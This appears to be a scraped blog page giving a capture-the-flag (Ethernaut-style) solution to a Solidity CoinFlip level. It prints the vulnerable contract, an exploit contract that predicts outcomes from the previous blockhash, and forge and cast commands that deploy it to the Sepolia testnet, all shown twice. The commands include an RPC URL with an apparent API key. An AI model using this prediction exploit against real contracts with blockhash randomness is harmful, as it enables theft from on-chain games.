728x90
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
Exploit
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract Exploit {
ICoinFlip public coinflip;
constructor() {
coinflip = ICoinFlip(0x91AEE5b50C302a78DD6d18f7DFFf29Ca7744ab54);
}
function guess()public {
uint blockValue = uint256(blockhash(block.number -1));
uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968;
bool side = coinFlip == 1 ? true : false;
bool success = coinflip.flip(side);
require(success, "Failed to guess");
}
}
forge create --rpc-url <https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f> --private-key {private-key} Exploit.sol:Exploit
cast send 0xa55cD168D1483bfDADf99AF71a30f0FcC69522bC --rpc-url <https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f> --private-key {private-key} "guess()"

728x90
728x90
Code
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract CoinFlip { uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number - 1)); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue / FACTOR; bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
Exploit
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface ICoinFlip { function flip(bool _guess) external returns (bool); } contract Exploit { ICoinFlip public coinflip; constructor() { coinflip = ICoinFlip(0x91AEE5b50C302a78DD6d18f7DFFf29Ca7744ab54); } function guess()public { uint blockValue = uint256(blockhash(block.number -1)); uint256 coinFlip = blockValue / 57896044618658097711785492504343953926634992332820282019728792003956564819968; bool side = coinFlip == 1 ? true : false; bool success = coinflip.flip(side); require(success, "Failed to guess"); } }
forge create --rpc-url <https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f> --private-key {private-key} Exploit.sol:Exploit
cast send 0xa55cD168D1483bfDADf99AF71a30f0FcC69522bC --rpc-url <https://eth-sepolia.g.alchemy.com/v2/kgBn5_xyC1CfARkV_HgFNjF8UeVLwE9f> --private-key {private-key} "guess()"

728x90